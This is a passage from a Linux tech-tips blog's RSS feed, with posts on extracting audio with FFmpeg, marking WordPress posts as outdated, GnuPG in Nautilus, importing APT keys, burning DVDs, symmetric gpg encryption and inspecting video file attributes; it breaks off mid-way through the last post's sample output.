		<description><![CDATA[Previously, I described how to Extract Audio from Video Files to WAV using Mplayer. Another method using FFmpeg instead of Mplayer was also pointed out in the post titled Add Stereo Audio Tracks to MKV Files, and I figured it would be useful to outline the quick one-step process in a post all by itself. [...]
Related posts:<ol>
<li><a href='http://savvyadmin.com/extract-ac3-dolby-digital-with-ffmpeg/' rel='bookmark' title='Extract AC3 Dolby Digital with FFMpeg'>Extract AC3 Dolby Digital with FFMpeg</a></li>
<li><a href='http://savvyadmin.com/extract-audio-from-video-files-to-wav-using-mplayer/' rel='bookmark' title='Extract Audio from Video Files to WAV using Mplayer'>Extract Audio from Video Files to WAV using Mplayer</a></li>
<li><a href='http://savvyadmin.com/add-stereo-audio-tracks-to-mkv-files/' rel='bookmark' title='Add Stereo Audio Tracks to MKV Files'>Add Stereo Audio Tracks to MKV Files</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Previously, I described how to <a href="http://www.savvyadmin.com/extract-audio-from-video-files-to-wav-using-mplayer/" target="_blank">Extract Audio from Video Files to WAV using Mplayer</a>.  Another method using FFmpeg instead of Mplayer was also pointed out in the post titled <a href="http://www.savvyadmin.com/add-stereo-audio-tracks-to-mkv-files/" target="_blank">Add Stereo Audio Tracks to MKV Files</a>, and I figured it would be useful to outline the quick one-step process in a post all by itself.</p>
<p>Here&#8217;s an example of extracting the audio from a video file called <code>video.mkv</code> and saving it to a file called <code>audio.wav</code>.  This very well could have been an AVI, MPEG, or any other video format that FFmpeg can decode.</p>
<blockquote><p><code><strong>ffmpeg -i video.mkv -acodec pcm_s16le -ac 2 audio.wav</strong></code></p></blockquote>
<p>It should also be mentioned that your source video file may have multiple audio channels or streams.  For example, you may have both English AC3 and DTS channels, but you may also have other audio streams for other languages, directors comments, etc.  If you want more control over which stream you are using, first identify them all with ffmpeg.</p>
<blockquote><p><code><strong>ffmpeg -i video.mkv</strong><br />
[snipped for brevity]<br />
Input #0, matroska, from 'video.mkv':<br />
  Duration: 01:30:38.78, start: 0.000000, bitrate: N/A<br />
    Stream #0.0(eng): Video: h264, yuv420p, 1280x720, PAR 1:1 DAR 16:9, 23.98 tbr, 1k tbn, 47.95 tbc<br />
    Stream <strong><em>#0.1(eng)</em></strong>: Audio: <strong><em>ac3</em></strong>, 48000 Hz, 5.1, s16<br />
    Stream #0.2(eng): Subtitle: 0x0000<br />
    Stream <strong><em>#0.3(heb)</em></strong>: Audio: <strong><em>mp3</em></strong>, 48000 Hz, stereo, s16<br />
    Stream #0.4(heb): Subtitle: 0x0000<br />
    Stream #0.5: Attachment: 0x0000<br />
    Stream #0.6: Attachment: 0x0000<br />
At least one output file must be specified</code></p></blockquote>
<p>From the example above, you see that Stream #0.0 is labeled as being an English video stream with h264 encoding.  Stream #0.1 and #0.3 are both audio streams, but #0.1 is English AC3 5.1 and #0.3 is Hebrew MP3 stereo.  Simply reference the stream id with the -map option in the following format.</p>
<blockquote><p><code><strong>ffmpeg -i video.mkv -map 0:1 -acodec pcm_s16le -ac 2 audio.wav</strong><br />
[snipped for brevity]<br />
Output #0, wav, to 'audio.wav':<br />
    Stream #0.0(eng): Audio: pcm_s16le, 48000 Hz, stereo, s16, 1536 kb/s<br />
Stream mapping:<br />
  Stream #0.1 -> #0.0<br />
[snipped for brevity]</code></p></blockquote>
<p>Now that you have a PCM WAV file, you can manipulated it however you like, e.g. encode to MP3, OGG, FLAC, etc.</p>
<blockquote><p><code><strong>lame -V0 -q0 --vbr-new audio.wav audio.mp3<br />
oggenc -q6 audio.wav<br />
flac audio.wav</strong></code></p></blockquote>
<p>Related posts:<ol>
<li><a href='http://savvyadmin.com/extract-ac3-dolby-digital-with-ffmpeg/' rel='bookmark' title='Extract AC3 Dolby Digital with FFMpeg'>Extract AC3 Dolby Digital with FFMpeg</a></li>
<li><a href='http://savvyadmin.com/extract-audio-from-video-files-to-wav-using-mplayer/' rel='bookmark' title='Extract Audio from Video Files to WAV using Mplayer'>Extract Audio from Video Files to WAV using Mplayer</a></li>
<li><a href='http://savvyadmin.com/add-stereo-audio-tracks-to-mkv-files/' rel='bookmark' title='Add Stereo Audio Tracks to MKV Files'>Add Stereo Audio Tracks to MKV Files</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/extract-audio-from-video-files-to-wav-using-ffmpeg/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Flag WordPress Posts as Outdated</title>
		<link>http://savvyadmin.com/flag-wordpress-posts-as-outdated/</link>
		<comments>http://savvyadmin.com/flag-wordpress-posts-as-outdated/#comments</comments>
		<pubDate>Sun, 13 Dec 2009 11:00:39 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[Blogging]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.savvyadmin.com/?p=520</guid>
		<description><![CDATA[The following outlines the process of dynamically adding a blockquote message at the top of any post you have flagged as being &#8220;outdated&#8221;.  Over time, your posts can become outdated or even completely inaccurate, especially if you&#8217;re running a tech blog, since software constantly changes. This will help warn readers that there may be issues [...]
No related posts.]]></description>
			<content:encoded><![CDATA[<p>The following outlines the process of dynamically adding a blockquote message at the top of any post you have flagged as being &#8220;outdated&#8221;.  Over time, your posts can become outdated or even completely inaccurate, especially if you&#8217;re running a tech blog, since software constantly changes.  This will help warn readers that there may be issues with the post in it&#8217;s current condition.</p>
<p>I did some digging around and couldn&#8217;t find an official plugin that took care of this.   I did however stumble across a <a href="http://solutions.treypiepmeier.com/2008/06/14/using-wordpress-custom-fields/" target="_blank">blog post</a> by <a title="Trey Piepmeier" href="http://treypiepmeier.com" target="_blank">Trey Piepmeier</a> that helped me understand a fairly straight forward method of doing it yourself.  I typically don&#8217;t like to rehash work someone has already discussed, but I figured it would help to give a little more detail for those interested.  Depending on your PHP and WordPress theme modification skills, you can change this however you like.</p>
<p>PLEASE MAKE A BACKUP OF YOUR THEME BEFORE CHANGING ANYTHING.</p>
<p>You can place the following PHP &#8220;if&#8221; condition just BELOW the code referencing your post title and ABOVE the code referencing your post content.  The get_post_meta() function assigns the $status variable with the value of a custom field you will later define as &#8220;outdated&#8221;.  If it matches, then a blockquote message will be printed, otherwise it will be skipped and the post will continue as normal.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #000088;">$status</span> <span style="color: #339933;">=</span> get_post_meta<span style="color: #009900;">&#40;</span>get_the_ID<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'status'</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$status</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">'outdated'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">:</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>
&lt;blockquote&gt;
    &lt;p align=&quot;center&quot;&gt;&lt;font color=&quot;red&quot;&gt;&lt;strong&gt;
    WARNING! THIS POST HAS BEEN MARKED AS OUTDATED!
    &lt;/strong&gt;&lt;/font&gt;&lt;/p&gt;
    &lt;p align=&quot;center&quot;&gt;&lt;strong&gt;
    Enter some useful message here about the article being old.
    &lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">endif</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>Depending on your theme, this can typically be done in your themes <code>index.php</code> and <code>single.php</code> files, but you should also update any other you use to publish posts from.</p>
<p>Then, all you need to do is edit any of your outdated posts and add a custom field with the name of &#8220;status&#8221; and a value of &#8220;outdated&#8221; without any quotes and your work is complete.</p>
<p><img class="aligncenter size-full wp-image-524" title="Outdated Custom Field" src="http://www.savvyadmin.com/wp-content/uploads/2009/12/Outdated-Custom-Field.png" alt="Outdated Custom Field" width="490" height="137" /></p>
<p>An example of what this might look like on your blog is shown below.</p>
<p style="text-align: center;"><a href="http://www.savvyadmin.com/wp-content/uploads/2009/12/Outdated-Post-Example.png" target="_blank"><img class="aligncenter size-full wp-image-525" style="border: 1px solid black;" title="Outdated Post Example" src="http://www.savvyadmin.com/wp-content/uploads/2009/12/Outdated-Post-Example.png" alt="Outdated Post Example" width="404" height="215" /></a></p>
<p>Please feel free to leave comments, suggestions or concerns.  A great deal of help on figuring this out was also provided in the #Wordpress IRC channel on irc.freenode.net.  If you find yourself in a pickle, there&#8217;s always someone there willing to help you out.</p>
<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/flag-wordpress-posts-as-outdated/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>GnuPG Context Menu Options for Gnome Nautilus</title>
		<link>http://savvyadmin.com/gnupg-context-menu-options-for-gnome-nautilus/</link>
		<comments>http://savvyadmin.com/gnupg-context-menu-options-for-gnome-nautilus/#comments</comments>
		<pubDate>Thu, 10 Dec 2009 04:43:57 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[Gnome]]></category>
		<category><![CDATA[GnuPG]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Nautilus]]></category>
		<category><![CDATA[PGP]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://www.savvyadmin.com/?p=470</guid>
		<description><![CDATA[If you&#8217;re running the Gnome desktop environment and would like to have GnuPG context menu options in Nautilus to encrypt, decrypt, and digitally sign files, simply install the Seahorse plugins package available in your favorite Linux distribution repositories. If using Debian or Ubuntu, it&#8217;s as easy as an apt-get install. sudo apt-get install seahorse-plugins After [...]
Related posts:<ol>
<li><a href='http://savvyadmin.com/nautilus-file-selection/' rel='bookmark' title='Nautilus File Selection'>Nautilus File Selection</a></li>
<li><a href='http://savvyadmin.com/perform-gnupg-functions-within-vim/' rel='bookmark' title='Perform GnuPG Functions Within Vim'>Perform GnuPG Functions Within Vim</a></li>
<li><a href='http://savvyadmin.com/revelation-password-manager-for-gnome/' rel='bookmark' title='Revelation Password Manager for Gnome'>Revelation Password Manager for Gnome</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>If you&#8217;re running the Gnome desktop environment and would like to have GnuPG context menu options in Nautilus to encrypt, decrypt, and digitally sign files, simply install the <a title="Seahorse Website" href="http://live.gnome.org/Seahorse" target="_blank">Seahorse</a> plugins package available in your favorite Linux distribution repositories.  If using Debian or Ubuntu, it&#8217;s as easy as an apt-get install.</p>
<blockquote><p><code><strong>sudo apt-get install seahorse-plugins</strong></code></p></blockquote>
<p>After installing the package, go to System -&gt; Preferences -&gt; Encryption and Keyrings, select a default key to use and decide whether you want to include your own key by default when encrypting files.  This is sometimes a good idea if you ever want to open a file you encrypted to someone else.  Below are some screenshots of the Seahorse preferences.</p>
<p><img class="aligncenter size-full wp-image-473" title="Seahorse Preferences Tab 1" src="http://www.savvyadmin.com/wp-content/uploads/2009/12/seahorse-prefs-1.png" alt="Seahorse Preferences Tab 1" width="571" height="311" /></p>
<p><img class="aligncenter size-full wp-image-474" title="Seahorse Preferences Tab 2" src="http://www.savvyadmin.com/wp-content/uploads/2009/12/seahorse-prefs-2.png" alt="Seahorse Preferences Tab 2" width="570" height="312" /></p>
<p>Here are some screen shots of the context menu options that appear when you right click on files in Nautilus.</p>
<p><img class="size-full wp-image-475 alignnone" title="Seahorse Context 1" src="http://www.savvyadmin.com/wp-content/uploads/2009/12/Seahorse-Context-1.png" alt="Seahorse Context 1" width="328" height="341" /> <img class="size-full wp-image-476 alignnone" title="Seahorse Context 2" src="http://www.savvyadmin.com/wp-content/uploads/2009/12/Seahorse-Context-2.png" alt="Seahorse Context 2" width="243" height="270" /></p>
<p>When you choose to encrypt a file, you can select as many public keys as you&#8217;d like.  Here&#8217;s an example of the dialogue.</p>
<p><img class="aligncenter size-full wp-image-477" title="Encrypt to Dialogue" src="http://www.savvyadmin.com/wp-content/uploads/2009/12/Encrypt-to-Dialogue.png" alt="Encrypt to Dialogue" width="547" height="421" /></p>
<p>Using PGP has never been easier.  There are still some improvements to the UI I would like to see completed, but overall the most important features are there.</p>
<p>Related posts:<ol>
<li><a href='http://savvyadmin.com/nautilus-file-selection/' rel='bookmark' title='Nautilus File Selection'>Nautilus File Selection</a></li>
<li><a href='http://savvyadmin.com/perform-gnupg-functions-within-vim/' rel='bookmark' title='Perform GnuPG Functions Within Vim'>Perform GnuPG Functions Within Vim</a></li>
<li><a href='http://savvyadmin.com/revelation-password-manager-for-gnome/' rel='bookmark' title='Revelation Password Manager for Gnome'>Revelation Password Manager for Gnome</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/gnupg-context-menu-options-for-gnome-nautilus/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Download PGP Keys with Apt-key</title>
		<link>http://savvyadmin.com/download-pgp-keys-with-apt-key/</link>
		<comments>http://savvyadmin.com/download-pgp-keys-with-apt-key/#comments</comments>
		<pubDate>Tue, 01 Dec 2009 23:46:11 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[APT]]></category>
		<category><![CDATA[CLI]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.savvyadmin.com/?p=463</guid>
		<description><![CDATA[When adding third party software repositories to your APT sources list, you can easily download a referenced PGP key to your APT keyring using the advanced options of the apt-key utility. For example, if you are adding a third party repository that references the PGP key ID of 6E80C6B7, the following will work as long [...]
Related posts:<ol>
<li><a href='http://savvyadmin.com/useful-apt-aliases/' rel='bookmark' title='Useful APT Aliases'>Useful APT Aliases</a></li>
<li><a href='http://savvyadmin.com/backup-and-restore-package-lists-in-ubuntu/' rel='bookmark' title='Backup and Restore Package Lists in Ubuntu'>Backup and Restore Package Lists in Ubuntu</a></li>
<li><a href='http://savvyadmin.com/grep-in-color/' rel='bookmark' title='Grep in Color'>Grep in Color</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>When adding third party software repositories to your APT sources list, you can easily download a referenced PGP key to your APT keyring using the advanced options of the <strong><code>apt-key</code></strong> utility.</p>
<p>For example, if you are adding a third party repository that references the PGP key ID of <code>6E80C6B7</code>, the following will work as long as the key has been uploaded to a keyserver.</p>
<blockquote><p><code><strong>sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 6E80C6B7</strong><br />
gpg: requesting key 6E80C6B7 from hkp server keyserver.ubuntu.com<br />
gpg: key 6E80C6B7: public key "Launchpad PPA for Banshee Team" imported<br />
gpg: no ultimately trusted keys found<br />
gpg: Total number processed: 1<br />
gpg:               imported: 1  (RSA: 1)</code></p></blockquote>
<p>Typically, instructions on adding repositories give readers a two or three step process that involves apt-key reading a key from a text file or piped from a wget command.  The above just cuts all that nonsense out.</p>
<p>The <code><strong>apt-key</strong></code> man page is a bit bare, but there are a few other options you might find interesting that are only mentioned in the commands help output.</p>
<blockquote><p>
<code><strong>apt-key</strong><br />
Usage: apt-key [command] [arguments]</code></p>
<p><code>Manage apt's list of trusted keys</code></p>
<p><code>  apt-key add <file>          - add the key contained in <file> ('-' for stdin)<br />
  apt-key del <keyid>         - remove the key <keyid><br />
  apt-key export <keyid>      - output the key <keyid><br />
  apt-key exportall           - output all trusted keys<br />
  apt-key update              - update keys using the keyring package<br />
  apt-key net-update          - update keys using the network<br />
  apt-key list                - list keys<br />
  apt-key finger              - list fingerprints<br />
  apt-key adv                 - pass advanced options to gpg (download key)</code></p></blockquote>
<p>Related posts:<ol>
<li><a href='http://savvyadmin.com/useful-apt-aliases/' rel='bookmark' title='Useful APT Aliases'>Useful APT Aliases</a></li>
<li><a href='http://savvyadmin.com/backup-and-restore-package-lists-in-ubuntu/' rel='bookmark' title='Backup and Restore Package Lists in Ubuntu'>Backup and Restore Package Lists in Ubuntu</a></li>
<li><a href='http://savvyadmin.com/grep-in-color/' rel='bookmark' title='Grep in Color'>Grep in Color</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/download-pgp-keys-with-apt-key/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Convert Video Files to DVD</title>
		<link>http://savvyadmin.com/convert-video-files-to-dvd/</link>
		<comments>http://savvyadmin.com/convert-video-files-to-dvd/#comments</comments>
		<pubDate>Thu, 12 Nov 2009 03:40:36 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[DVD]]></category>
		<category><![CDATA[dvdauthor]]></category>
		<category><![CDATA[FFMpeg]]></category>
		<category><![CDATA[genisoimage]]></category>
		<category><![CDATA[growisofs]]></category>
		<category><![CDATA[Multimedia]]></category>

		<guid isPermaLink="false">http://www.savvyadmin.com/?p=452</guid>
		<description><![CDATA[If you have a video vile that you wish to convert and burn to DVD, you can do so from a Linux command line very easily. We will use FFmpeg for the video conversion, DVDAuthor to create the DVD file system structure, and Growisofs to burn the DVD. Using FFmpeg, simply specify your input file, [...]
Related posts:<ol>
<li><a href='http://savvyadmin.com/extract-audio-from-video-files-to-wav-using-ffmpeg/' rel='bookmark' title='Extract Audio from Video Files to WAV using FFmpeg'>Extract Audio from Video Files to WAV using FFmpeg</a></li>
<li><a href='http://savvyadmin.com/add-stereo-audio-tracks-to-mkv-files/' rel='bookmark' title='Add Stereo Audio Tracks to MKV Files'>Add Stereo Audio Tracks to MKV Files</a></li>
<li><a href='http://savvyadmin.com/convert-3gp-videos-to-xvid-avi/' rel='bookmark' title='Convert 3gp Videos to XviD AVI'>Convert 3gp Videos to XviD AVI</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>If you have a video vile that you wish to convert and burn to DVD, you can do so from a Linux command line very easily.  We will use FFmpeg for the video conversion, DVDAuthor to create the DVD file system structure, and Growisofs to burn the DVD.</p>
<p>Using FFmpeg, simply specify your input file, the target format, resolution and an output file name.  While the following is an over simplified example, it will more than likely work very nicely in most scenarios.  The source video file is movie.avi, the target will be formatted for NTSC, and a standard DVD resolution of 720&#215;480 will be used to create a new video file called movie.mpg.  There are many additional options that FFMpeg can use to increase quality, so be sure to check out the documentation.</p>
<blockquote><p><code><strong>ffmpeg -i movie.avi -target ntsc-video -s 720x480 movie.mpg</strong></code></p></blockquote>
<p>Next, you will need to take your new movie.mpg file, and create a DVD file structure that you will burn to disc.  Just create a folder that will serve as the parent directory of your DVD.  I Like to name it after the title of the movie.  Then you will use dvdauthor to create a title set and table of contents and no DVD menus.  The movie will just play.  :-)</p>
<blockquote><p><code><strong>mkdir MOVIE_TITLE<br />
dvdauthor -o MOVIE_TITLE/ -t movie.mpg<br />
dvdauthor -o MOVIE_TITLE/ -T</strong></code></p></blockquote>
<p>The <code>dvdauthor -t</code> option creates a title track in the VIDEO_TS directory.  If you list the contents after running the first command, you&#8217;ll see the corresponding <code>VTS_01_0.BUP</code>, <code>VTS_01_0.IFO</code>, and <code>VTS_01_X.VOB</code> files.  The <code>-T</code> option creates a table of contents for all title sets in the file system, which are listed as <code>VIDEO_TS.BUP</code> and <code>VIDEO_TS.IFO</code>.</p>
<p>You are now ready to burn the DVD.  In the following command, we will use the <code>-Z</code> option to burn an initial session to the disc, the <code>-dvd-video</code> option to generate a DVD-Video compliant UDF file system, and the <code>-V</code> option to give the disc a Volume ID.  This Volume ID is read by your computer to and displays as a nice human readable title typically underneath the icon representing the disc.  The <code>-dvd-video</code> and <code>-V</code> options are actually part of the mkisofs (genisoimage) command sets, so they do not show up in the growisofs man pages.</p>
<blockquote><p><code><strong>growisofs -Z /dev/dvdrw -dvd-video -V MOVIE_TITLE MOVIE_TITLE/</strong></code></p></blockquote>
<p>Notice, you do not need to generate an ISO file to burn the DVD.  This would only waste space if your intention is not to distribute or store the video as a disc image.  To create the image however, that&#8217;s as easy as the following.</p>
<blockquote><p><code><strong>genisoimage -o MOVIE_TITLE.iso -dvd-video MOVIE_TITLE/</strong></code></p></blockquote>
<p>Related posts:<ol>
<li><a href='http://savvyadmin.com/extract-audio-from-video-files-to-wav-using-ffmpeg/' rel='bookmark' title='Extract Audio from Video Files to WAV using FFmpeg'>Extract Audio from Video Files to WAV using FFmpeg</a></li>
<li><a href='http://savvyadmin.com/add-stereo-audio-tracks-to-mkv-files/' rel='bookmark' title='Add Stereo Audio Tracks to MKV Files'>Add Stereo Audio Tracks to MKV Files</a></li>
<li><a href='http://savvyadmin.com/convert-3gp-videos-to-xvid-avi/' rel='bookmark' title='Convert 3gp Videos to XviD AVI'>Convert 3gp Videos to XviD AVI</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/convert-video-files-to-dvd/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Symmetric Key Encryption with GnuPG</title>
		<link>http://savvyadmin.com/symmetric-key-encryption-with-gnupg/</link>
		<comments>http://savvyadmin.com/symmetric-key-encryption-with-gnupg/#comments</comments>
		<pubDate>Thu, 05 Nov 2009 03:59:06 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[Backup]]></category>
		<category><![CDATA[CLI]]></category>
		<category><![CDATA[compression]]></category>
		<category><![CDATA[GnuPG]]></category>
		<category><![CDATA[PGP]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Tar]]></category>
		<category><![CDATA[Zip]]></category>

		<guid isPermaLink="false">http://www.savvyadmin.com/?p=438</guid>
		<description><![CDATA[If you ever want to quickly protect a file by encrypting it with a simple password, you can use GnuPG and symmetric key encryption for the job. Using this method, you can use industry strength encryption like AES256 and not have to worry about public and private keys. Just remember your password and use PGP [...]
Related posts:<ol>
<li><a href='http://savvyadmin.com/perform-gnupg-functions-within-vim/' rel='bookmark' title='Perform GnuPG Functions Within Vim'>Perform GnuPG Functions Within Vim</a></li>
<li><a href='http://savvyadmin.com/gnupg-context-menu-options-for-gnome-nautilus/' rel='bookmark' title='GnuPG Context Menu Options for Gnome Nautilus'>GnuPG Context Menu Options for Gnome Nautilus</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>If you ever want to quickly protect a file by encrypting it with a simple password, you can use GnuPG and symmetric key encryption for the job.  Using this method, you can use industry strength encryption like AES256 and not have to worry about public and private keys.  Just remember your password and use PGP compatible software to decrypt the files when needed.</p>
<p>For example, this is how you can encrypt a zip file called <code>backup.zip</code> and output the result to a new file called <code>backup.zip.gpg</code>.</p>
<blockquote><p><code><strong>gpg --symmetric --cipher-algo aes256 -o backup.zip.gpg backup.zip</strong><br />
Enter passphrase: <strong>*******</strong><br />
Repeat passphrase: <strong>*******</strong></code></p></blockquote>
<p>To decrypt the file, the following will work.</p>
<blockquote><p><code><strong>gpg -d -o backup.zip backup.zip.gpg</strong><br />
gpg: AES256 encrypted data<br />
Enter passphrase: <strong>*******</strong><br />
gpg: encrypted with 1 passphrase</code></p></blockquote>
<p>For fun, here&#8217;s how to create a Gzip Tar archive (tar.gz) and encrypt it on the fly.</p>
<blockquote><p><code><strong>tar czvpf - SomeFiles/ | gpg --symmetric --cipher-algo aes256 -o backup.tar.gz.gpg</strong><br />
Enter passphrase: <strong>*******</strong><br />
Repeat passphrase: <strong>*******</strong></code></p></blockquote>
<p>To decrypt and extract in a single command, the following also works.</p>
<blockquote><p><code><strong>gpg -d backup.tar.gz.gpg | tar xzvf -</strong><br />
gpg: AES256 encrypted data<br />
Enter passphrase: <strong>*******</strong><br />
gpg: encrypted with 1 passphrase</code></p></blockquote>
<p>If you&#8217;re curious to know what other ciphers are available to you, simple use the <code>gpg --version</code> command.</p>
<blockquote><p><code><strong>gpg --version | grep Cipher</strong><br />
Cipher: 3DES, CAST5, BLOWFISH, AES, AES192, AES256, TWOFISH</code></p></blockquote>
<p>Related posts:<ol>
<li><a href='http://savvyadmin.com/perform-gnupg-functions-within-vim/' rel='bookmark' title='Perform GnuPG Functions Within Vim'>Perform GnuPG Functions Within Vim</a></li>
<li><a href='http://savvyadmin.com/gnupg-context-menu-options-for-gnome-nautilus/' rel='bookmark' title='GnuPG Context Menu Options for Gnome Nautilus'>GnuPG Context Menu Options for Gnome Nautilus</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/symmetric-key-encryption-with-gnupg/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Quickly Identify Video File Attributes</title>
		<link>http://savvyadmin.com/quickly-identify-video-file-attributes/</link>
		<comments>http://savvyadmin.com/quickly-identify-video-file-attributes/#comments</comments>
		<pubDate>Tue, 03 Nov 2009 22:59:12 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[CLI]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Multimedia]]></category>
		<category><![CDATA[Video]]></category>

		<guid isPermaLink="false">http://www.savvyadmin.com/?p=433</guid>
		<description><![CDATA[If you want to gain quick insight into the basic properties of a video file from the Linux command line, there&#8217;s a few really easy methods. The information you might be interested in are audio and video codecs, resolution, frame rates, bitrates, etc. Using mplayer, you can see some basic information about a video file. [...]
Related posts:<ol>
<li><a href='http://savvyadmin.com/extract-audio-from-video-files-to-wav-using-mplayer/' rel='bookmark' title='Extract Audio from Video Files to WAV using Mplayer'>Extract Audio from Video Files to WAV using Mplayer</a></li>
<li><a href='http://savvyadmin.com/extract-audio-from-video-files-to-wav-using-ffmpeg/' rel='bookmark' title='Extract Audio from Video Files to WAV using FFmpeg'>Extract Audio from Video Files to WAV using FFmpeg</a></li>
<li><a href='http://savvyadmin.com/adding-chapters-to-videos-using-mkv-containers/' rel='bookmark' title='Adding Chapters to Videos Using MKV Containers'>Adding Chapters to Videos Using MKV Containers</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>If you want to gain quick insight into the basic properties of a video file from the Linux command line, there&#8217;s a few really easy methods.  The information you might be interested in are audio and video codecs, resolution, frame rates, bitrates, etc.</p>
<p>Using <code><em>mplayer</em></code>, you can see some basic information about a video file.  For example, the following video is using the WMV3 video codec at the resolution of 1280&#215;720 (720p), the bitrate of 3000 kbps, etc.</p>
<blockquote><p><code><strong>mplayer video.wmv -vo null -ao null -frames 0 2>&#038;1 /dev/null | egrep "(VIDEO|AUDIO)"</strong><br />
VIDEO:  [WMV3]  1280x720  24bpp  1000.000 fps  3000.0 kbps (366.2 kbyte/s)<br />
AUDIO: 44100 Hz, 2 ch, s16le, 96.0 kbit/6.80% (ratio: 12003->176400)</code></p></blockquote>
<p>The audio rate is shown to be 44100 Hz using 2-Channel stereo, but the codec is not listed.  You can get additional information with the -identify option.</p>
<blockquote><p><code><strong>mplayer video.wmv -identify -vo null -ao null -frames 0 2>&#038;1 /dev/null | egrep "(^ID|VIDEO|AUDIO)"</strong><br />
ID_AUDIO_ID=1<br />
ID_VIDEO_ID=2<br />
VIDEO:  [WMV3]  1280x720  24bpp  1000.000 fps  3000.0 kbps (366.2 kbyte/s)<br />
ID_CLIP_INFO_NAME0=name<br />
ID_CLIP_INFO_VALUE0=<br />
ID_CLIP_INFO_NAME1=author<br />
ID_CLIP_INFO_VALUE1=<br />
ID_CLIP_INFO_NAME2=copyright<br />
ID_CLIP_INFO_VALUE2=<br />
ID_CLIP_INFO_NAME3=comments<br />
ID_CLIP_INFO_VALUE3=<br />
ID_CLIP_INFO_N=4<br />
ID_FILENAME=video.wmv<br />
ID_DEMUXER=asf<br />
ID_VIDEO_FORMAT=WMV3<br />
ID_VIDEO_BITRATE=3000000<br />
ID_VIDEO_WIDTH=1280<br />
ID_VIDEO_HEIGHT=720<br />
ID_VIDEO_FPS=1000.000<br />
ID_VIDEO_ASPECT=1.7778<br />
ID_AUDIO_FORMAT=353<br />
ID_AUDIO_BITRATE=0<br />
ID_AUDIO_RATE=0<br />
ID_AUDIO_NCH=0<br />
ID_LENGTH=2116.00<br />
ID_VIDEO_ASPECT=1.7778<br />
ID_VIDEO_CODEC=wmv9dmo<br />
AUDIO: 44100 Hz, 2 ch, s16le, 96.0 kbit/6.80% (ratio: 12003->176400)<br />
ID_AUDIO_BITRATE=96024<br />
ID_AUDIO_RATE=44100<br />
ID_AUDIO_NCH=2<br />
ID_AUDIO_CODEC=ffwmav2</code></p></blockquote>
<p>Another great tool for identifying video attributes is <code><em>idvid</em></code>.  <code><em>idvid</em></code> comes with the <code><em>tovid</em></code> package, so be sure to install it from your repository.  It is a bit slow, but the output is very clean and easy to interpret.</p>
<blockquote><p><code><strong>idvid video.wmv</strong><br />
--------------------------------<br />
idvid<br />
Video identification script<br />
Part of the tovid suite, version 0.31</p>
<p>http://www.tovid.org</p>
<p>--------------------------------<br />
Analyzing file: 'video.wmv'. This may take several minutes...<br />
=========================================================<br />
               File: video.wmv<br />
              Width: 1280 pixels<br />
             Height: 720 pixels<br />
       Aspect ratio: 1.77:1<br />
             Frames: 63352<br />
           Duration: 00:35:13 hours/mins/secs<br />
          Framerate: 1000.000 frames per second<br />
       Video format: WMV3<br />
      Video bitrate: 3000000 bits per second<br />
---------------------------<br />
Audio track 1 (Stream 0.0, AID 0):<br />
---------------------------<br />
              Codec: wmav2<br />
            Bitrate: 0000 bits per second<br />
      Sampling rate: 44100 Hz<br />
=========================================================<br />
